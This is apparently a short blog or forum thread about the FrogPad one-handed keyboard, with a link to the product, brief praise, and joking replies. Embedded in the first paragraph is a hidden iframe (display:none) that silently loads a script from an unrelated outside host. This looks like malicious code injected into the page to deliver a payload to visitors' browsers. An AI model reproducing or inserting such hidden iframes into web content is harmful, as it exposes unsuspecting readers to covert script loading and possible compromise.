Check it out http://www.frogpad.com/.
It is still in development for PDA's but it is an awesome concept. One-handed keyboards would be pretty small. The picture shows one that's not too small but imagine the size if the one-handed keyboard was folded in half!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

... and why are you looking for a one-handed keyboard?! What type of surfing have you been doing, anyway?!

D.

(My apologies to those who are limited to the use of one hand.)

Seriously, that is pretty slick.

I'd have to get used to using the keyboard with my left hand because I use my other hand for my ... err.. Mouse! (no that's not it's name)